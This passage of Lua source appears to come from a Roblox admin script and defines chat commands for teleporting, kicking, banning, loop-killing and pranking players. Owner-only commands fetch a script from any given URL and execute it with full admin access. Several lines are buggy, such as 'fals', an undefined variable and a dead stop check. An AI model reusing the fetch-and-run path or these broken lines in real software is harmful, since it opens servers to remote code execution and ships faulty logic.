5571 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5572 | for _,Player in pairs(Players) do | |
5573 | coroutine.wrap(function() | |
5574 | CORE:ChangeCharacter(Player, 38837082, false, Speaker) | |
5575 | wait(1) | |
5576 | GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7) | |
5577 | end)() | |
5578 | end | |
5579 | end, Hidden = true}; | |
5580 | ||
5581 | [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5582 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5583 | for _,Player in pairs(Players) do | |
5584 | CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true) | |
5585 | end | |
5586 | end}; | |
5587 | ||
5588 | [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5589 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5590 | for _,Player in pairs(Players) do | |
5591 | CORE:ChangeName(Player, Arguments[2]) | |
5592 | end | |
5593 | end}; | |
5594 | ||
5595 | [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5596 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5597 | for _,Player in pairs(Players) do | |
5598 | if Player.Character then | |
5599 | local Head = Player.Character:FindFirstChild("Label") | |
5600 | if Head then Head:Destroy() end | |
5601 | local Head = Player.Character:FindFirstChild("Head") | |
5602 | if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end | |
5603 | end | |
5604 | end | |
5605 | end}; | |
5606 | ||
5607 | [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments) | |
5608 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5609 | for _,Player in pairs(Players) do | |
5610 | CORE:ChangeCharacter(Player, 11397, false, Speaker) | |
5611 | end | |
5612 | end}; | |
5613 | ||
5614 | [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
5615 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5616 | for _,Player in pairs(Players) do | |
5617 | local _,RankNum = RANK:GetRank(Player) | |
5618 | if RankNum <= RANK:ConvertRank(Rank) then | |
5619 | Server.TS:Teleport(Arguments[2], Player) | |
5620 | end | |
5621 | end | |
5622 | end}; | |
5623 | ||
5624 | [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
5625 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5626 | local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2])) | |
5627 | if Suc then | |
5628 | for _,Player in pairs(Players) do | |
5629 | Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player) | |
5630 | end | |
5631 | else | |
5632 | GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5) | |
5633 | end | |
5634 | end}; | |
5635 | ||
5636 | [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
5637 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5638 | MARKET:PromptPurchase(Player, Arguments[2], Speaker, function() | |
5639 | local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2])) | |
5640 | if Suc then | |
5641 | for _,Player in pairs(Players) do | |
5642 | Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player) | |
5643 | end | |
5644 | else | |
5645 | GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5) | |
5646 | end | |
5647 | end) | |
5648 | end}; | |
5649 | ||
5650 | [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments) | |
5651 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5652 | for _,Player in pairs(Players) do | |
5653 | local _,RankNum = RANK:GetRank(Player) | |
5654 | if RankNum < RANK:ConvertRank(Rank) then | |
5655 | Server.TS:Teleport(155307015, Player) | |
5656 | end | |
5657 | end | |
5658 | end}; | |
5659 | ||
5660 | [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments) | |
5661 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5662 | for _,Player in pairs(Players) do | |
5663 | local _,RankNum = RANK:GetRank(Player) | |
5664 | if RankNum < RANK:ConvertRank(Rank) then | |
5665 | Server.TS:Teleport(347911447, Player) | |
5666 | end | |
5667 | end | |
5668 | end}; | |
5669 | ||
5670 | [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5671 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5672 | for _,Player in pairs(Players) do | |
5673 | CORE:GenerateShield(Player) | |
5674 | end | |
5675 | end}; | |
5676 | ||
5677 | [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5678 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5679 | for _,Player in pairs(Players) do | |
5680 | if Player.Character then | |
5681 | local Shield = Player.Character:FindFirstChild("Shield") | |
5682 | if Shield then Shield:Destroy() end | |
5683 | end | |
5684 | end | |
5685 | end}; | |
5686 | ||
5687 | [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5688 | local Num = tonumber(Arguments[1]) | |
5689 | if Num and Num ~= 0 then | |
5690 | local Random = math.random(1,math.abs(Num)) | |
5691 | if Random == math.random(1,math.abs(Num)) then | |
5692 | GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check") | |
5693 | else | |
5694 | GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice") | |
5695 | end | |
5696 | else | |
5697 | GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error") | |
5698 | end | |
5699 | end}; | |
5700 | ||
5701 | [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5702 | IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1]) | |
5703 | IRC:AddChat(Speaker.Name, Arguments[1]) | |
5704 | end}; | |
5705 | ||
5706 | --[[ | |
5707 | [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5708 | local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId) | |
5709 | if Res then | |
5710 | GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check") | |
5711 | end | |
5712 | end, Http = true}; | |
5713 | ||
5714 | [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5715 | local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1]) | |
5716 | if Res then | |
5717 | GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check") | |
5718 | end | |
5719 | end}, Http = true; | |
5720 | ]] | |
5721 | ||
5722 | [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5723 | IRC:Quit("Reconnecting") | |
5724 | IRC:ConnectToServer(Settings.IRCServer) | |
5725 | end}; | |
5726 | ||
5727 | [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5728 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5729 | for _,Player in pairs(Players) do | |
5730 | local PreAdd = {} | |
5731 | for _,Data in pairs(IRC.Chats) do | |
5732 | local Error = nil | |
5733 | if Rank == "Owner" then Error = Data[3] end | |
5734 | table.insert(PreAdd, {Data[1], Data[2], Error}) | |
5735 | end | |
5736 | local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd) | |
5737 | IRC.MessageAdded.Event:connect(function(UserName, Message, Error) | |
5738 | if Rank ~= "Owner" then Error = nil end | |
5739 | AddMessage:Invoke(UserName, Message, Error) | |
5740 | end) | |
5741 | SendPressed.Event:connect(function(Text) | |
5742 | IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text) | |
5743 | IRC:AddChat(Player.Name, Text) | |
5744 | end) | |
5745 | end | |
5746 | end}; | |
5747 | ||
5748 | [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5749 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5750 | for _,Player in pairs(Players) do | |
5751 | local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type) | |
5752 | if Type == "Leave" then | |
5753 | PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat") | |
5754 | elseif Type == "Join" then | |
5755 | PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat") | |
5756 | end | |
5757 | end) | |
5758 | PriChat.Chatted.Event:connect(function(UserName, Message) | |
5759 | AddMessage:Invoke(UserName, Message) | |
5760 | end) | |
5761 | SendPressed.Event:connect(function(Text) | |
5762 | PriChat.Chatted:Fire(Player.Name, Text) | |
5763 | table.insert(PriChat.Chats, {Player.Name, Text}) | |
5764 | end) | |
5765 | end | |
5766 | end}; | |
5767 | ||
5768 | [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5769 | ExecuteSafe(Arguments[1], Speaker) | |
5770 | end}; | |
5771 | ||
5772 | [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5773 | local Script = REMOTE:GetURL(Arguments[1], Player) | |
5774 | if Script then | |
5775 | ExecuteSafe(Script, Speaker) | |
5776 | end | |
5777 | end, Http = true}; | |
5778 | ||
5779 | [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5780 | local Time = tick() | |
5781 | local Res = REMOTE:GetURL(Arguments[1], Player) | |
5782 | if Res then | |
5783 | GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check") | |
5784 | end | |
5785 | end, Http = true}; | |
5786 | ||
5787 | [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5788 | CORE:RemoveAdmin(Speaker) | |
5789 | end}; | |
5790 | ||
5791 | [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5792 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
5793 | GUI:SendHint(Player, Arguments[1], nil, Speaker) | |
5794 | end | |
5795 | end}; | |
5796 | ||
5797 | [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5798 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5799 | local Debt = nil | |
5800 | for _,Player in pairs(Players) do | |
5801 | if not Debt then | |
5802 | Debt = GUI:ShowDebtStats(Player) | |
5803 | else | |
5804 | GUI:ShowDebtStats(Player, Debt) | |
5805 | end | |
5806 | end | |
5807 | end, Http = true}; | |
5808 | ||
5809 | [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5810 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5811 | for _,Player in pairs(Players) do | |
5812 | GUI:CreateHUD(Player) | |
5813 | end | |
5814 | end}; | |
5815 | ||
5816 | [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5817 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5818 | for _,Player in pairs(Players) do | |
5819 | if Player:FindFirstChild("PlayerGui") then | |
5820 | local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui") | |
5821 | if HUD then HUD:Destroy() end | |
5822 | end | |
5823 | end | |
5824 | end}; | |
5825 | ||
5826 | [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5827 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5828 | GUI:Vote(Speaker, Players, Arguments[2], 30) | |
5829 | end}; | |
5830 | ||
5831 | [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments) | |
5832 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5833 | for _,Player in pairs(Players) do | |
5834 | CORE:ExecuteResource("Bomb", Player.Character) | |
5835 | end | |
5836 | end}; | |
5837 | ||
5838 | [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5839 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5840 | for _,Player in pairs(Players) do | |
5841 | CORE:ChangeCharacter(Player, Player.UserId, false, Speaker) | |
5842 | CORE:RestoreCamera(Player) | |
5843 | end | |
5844 | end}; | |
5845 | ||
5846 | [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5847 | CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker) | |
5848 | CORE:RestoreCamera(Speaker) | |
5849 | end}; | |
5850 | ||
5851 | [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5852 | local Players1 = STRING:Scan(Arguments[1], Speaker) | |
5853 | local Players2 = STRING:Scan(Arguments[2], Speaker) | |
5854 | for _,Player1 in pairs(Players1) do | |
5855 | if Player1.Character and Player1.Character:FindFirstChild("Torso") then | |
5856 | for _,Player2 in pairs(Players2) do | |
5857 | if Player2.Character and Player2.Character:FindFirstChild("Torso") then | |
5858 | Player1.Character:MoveTo(Player2.Character.Torso.Position) | |
5859 | end | |
5860 | end | |
5861 | end | |
5862 | end | |
5863 | end}; | |
5864 | ||
5865 | [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5866 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5867 | for _,Player in pairs(Players) do | |
5868 | Player:LoadCharacter() | |
5869 | end | |
5870 | end}; | |
5871 | ||
5872 | [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5873 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5874 | for _,Player in pairs(Players) do | |
5875 | CORE:RestoreCamera(Player) | |
5876 | end | |
5877 | end}; | |
5878 | ||
5879 | [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5880 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5881 | for _,Player in pairs(Players) do | |
5882 | CORE:Jail(Player) | |
5883 | end | |
5884 | end}; | |
5885 | ||
5886 | [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5887 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5888 | for _,Player in pairs(Players) do | |
5889 | CORE:UnJail(Player) | |
5890 | end | |
5891 | end}; | |
5892 | ||
5893 | [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5894 | SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1])) | |
5895 | end}; | |
5896 | ||
5897 | [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5898 | SOUND:StopSpeaking() | |
5899 | end}; | |
5900 | ||
5901 | [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5902 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5903 | local Compile = {} | |
5904 | for Num,Player in pairs(Players) do | |
5905 | local PlayerRank = RANK:GetRank(Player) | |
5906 | local PlayerInfo = ClientInfo[Player.Name] | |
5907 | table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name}) | |
5908 | table.insert(Compile, "User ID: "..Player.UserId) | |
5909 | table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge)) | |
5910 | table.insert(Compile, "Rank: "..PlayerRank) | |
5911 | ||
5912 | if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end | |
5913 | if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end | |
5914 | if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end | |
5915 | if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end | |
5916 | if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end | |
5917 | if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end | |
5918 | if PlayerInfo.Benchmark then | |
5919 | table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark) | |
5920 | end | |
5921 | if Num ~= #Players then table.insert(Compile, "-----------------------------") end | |
5922 | end | |
5923 | GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false) | |
5924 | end}; | |
5925 | ||
5926 | [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
5927 | if tonumber(Arguments[2]) then | |
5928 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5929 | for _,Player in pairs(Players) do | |
5930 | coroutine.wrap(function() | |
5931 | if Player.Character then | |
5932 | table.insert(LoopKills, Player.Name) | |
5933 | local Loop = nil | |
5934 | local PrevChar = nil | |
5935 | ||
5936 | for i = 1,tonumber(Arguments[2]) do | |
5937 | local Char = Player.Character | |
5938 | if PrevChar and PrevChar ~= Char then | |
5939 | PrevChar:Destroy() | |
5940 | end | |
5941 | PrevChar = Char | |
5942 | local CanDie = true | |
5943 | for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end | |
5944 | if CanDie == false then | |
5945 | break | |
5946 | end | |
5947 | ypcall(function() Char.Parent = Server.Lighting end) | |
5948 | wait(0.1) | |
5949 | ypcall(function() Char.Parent = Server.Workspace end) | |
5950 | wait(0.1) | |
5951 | end | |
5952 | end | |
5953 | end)() | |
5954 | end | |
5955 | else | |
5956 | GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error") | |
5957 | end | |
5958 | end}; | |
5959 | ||
5960 | [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5961 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5962 | for _,Player in pairs(Players) do | |
5963 | for Num,Name in pairs(LoopKills) do | |
5964 | if Player.Name == Name then | |
5965 | table.remove(LoopKills, Num) | |
5966 | end | |
5967 | end | |
5968 | end | |
5969 | end}; | |
5970 | ||
5971 | [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5972 | SOUND:PlayGlobalSound(Arguments[1]) | |
5973 | end}; | |
5974 | ||
5975 | [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5976 | SOUND:StopGlobalSound() | |
5977 | SOUND:ClearInfo() | |
5978 | end}; | |
5979 | ||
5980 | [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5981 | local Pitch = tonumber(Arguments[1]) | |
5982 | if not Pitch then Pitch = 1 end | |
5983 | if Sound then | |
5984 | Sound.Pitch = Pitch | |
5985 | end | |
5986 | end}; | |
5987 | ||
5988 | [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5989 | local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1]) | |
5990 | local Items = MARKET:SearchItem(9, Arguments[1]) | |
5991 | if Items then | |
5992 | if #Items ~= 0 then | |
5993 | local List,Correlate = {},{} | |
5994 | for Num,Info in pairs(Items) do | |
5995 | local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")" | |
5996 | table.insert(List, Display) | |
5997 | Correlate[Display] = Info.AssetId | |
5998 | end | |
5999 | CloseGui:Invoke() | |
6000 | ||
6001 | local CanClick = true | |
6002 | if Rank == "Member" then CanClick = false end | |
6003 | local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick) | |
6004 | Clicked.Event:connect(function(ClickName) | |
6005 | local OldSoundId = nil | |
6006 | SOUND:StopGlobalSound() | |
6007 | if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then | |
6008 | SOUND:PlayGlobalSound(Correlate[ClickName]) | |
6009 | end | |
6010 | end) | |
6011 | else | |
6012 | CloseGui:Invoke() | |
6013 | GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information") | |
6014 | end | |
6015 | else | |
6016 | CloseGui:Invoke() | |
6017 | GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error") | |
6018 | end | |
6019 | end, Http = true}; | |
6020 | ||
6021 | [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6022 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6023 | for _,Player in pairs(Players) do | |
6024 | if Player.Character then | |
6025 | CORE:ExecuteResource("Gun", Player.Character) | |
6026 | end | |
6027 | end | |
6028 | end}; | |
6029 | ||
6030 | [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6031 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6032 | for _,Player in pairs(Players) do | |
6033 | if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then | |
6034 | local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole) | |
6035 | Player.Character.Humanoid.WalkSpeed = 0 | |
6036 | Player.Character.Torso.Anchored = true | |
6037 | coroutine.wrap(function() | |
6038 | local OldCFrame = Player.Character.Torso.CFrame | |
6039 | for i = 0,8,0.1 do | |
6040 | Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0) | |
6041 | wait() | |
6042 | end | |
6043 | Player.Character.Torso.Anchored = false | |
6044 | Player.Character:BreakJoints() | |
6045 | CORE:InvisiblePlayer(Player) | |
6046 | end)() | |
6047 | end | |
6048 | end | |
6049 | end}; | |
6050 | ||
6051 | [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6052 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6053 | for _,Player in pairs(Players) do | |
6054 | CORE:AnchorPlayer(Player) | |
6055 | end | |
6056 | end}; | |
6057 | ||
6058 | [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6059 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6060 | for _,Player in pairs(Players) do | |
6061 | CORE:UnanchorPlayer(Player) | |
6062 | end | |
6063 | end}; | |
6064 | ||
6065 | [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6066 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6067 | for _,Player in pairs(Players) do | |
6068 | CORE:InvisiblePlayer(Player) | |
6069 | end | |
6070 | end}; | |
6071 | ||
6072 | [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6073 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6074 | for _,Player in pairs(Players) do | |
6075 | CORE:VisiblePlayer(Player) | |
6076 | end | |
6077 | end}; | |
6078 | ||
6079 | [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6080 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6081 | for _,Player in pairs(Players) do | |
6082 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
6083 | local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12) | |
6084 | local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030" | |
6085 | local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30 | |
6086 | local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10 | |
6087 | local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1) | |
6088 | local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true) | |
6089 | Fly:Play() | |
6090 | local Touched = false | |
6091 | coroutine.wrap(function() | |
6092 | repeat wait(0.1) | |
6093 | Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z) | |
6094 | until not Ast or Ast.Parent == nil or Touched == true | |
6095 | end)() | |
6096 | Ast.Touched:connect(function(Part) | |
6097 | if Touched == false then | |
6098 | Touched = true | |
6099 | Part:BreakJoints() | |
6100 | local Boom = Instance.new("Explosion", Workspace) | |
6101 | Boom.Position = Ast.Position | |
6102 | Boom.BlastPressure = 1000000 | |
6103 | Boom.BlastRadius = 30 | |
6104 | Fire.Heat = 0 | |
6105 | Smoke.RiseVelocity = 0 | |
6106 | Fly:Stop() | |
6107 | BoomSound:Play() | |
6108 | coroutine.wrap(function() | |
6109 | wait(3) | |
6110 | BoomSound:Stop() | |
6111 | if Ast and Ast.Parent ~= nil then | |
6112 | Ast:Destroy() | |
6113 | end | |
6114 | end)() | |
6115 | end | |
6116 | end) | |
6117 | end | |
6118 | end | |
6119 | end}; | |
6120 | ||
6121 | [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6122 | local Success = {} | |
6123 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6124 | for _,Player in pairs(Players) do | |
6125 | local PlayerRank = RANK:GetRank(Player) | |
6126 | if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then | |
6127 | CORE:Kick(Player) | |
6128 | table.insert(Success, Player) | |
6129 | end | |
6130 | end | |
6131 | REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6132 | end}; | |
6133 | ||
6134 | [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6135 | local Success = {} | |
6136 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6137 | for _,Player in pairs(Players) do | |
6138 | local PlayerRank = RANK:GetRank(Player) | |
6139 | if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then | |
6140 | RANK:RemoveRank(Player) | |
6141 | table.insert(Settings.Ranks.Banned, Player.Name) | |
6142 | CORE:Kick(Player) | |
6143 | table.insert(Success, Player) | |
6144 | end | |
6145 | end | |
6146 | REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING") | |
6147 | end}; | |
6148 | ||
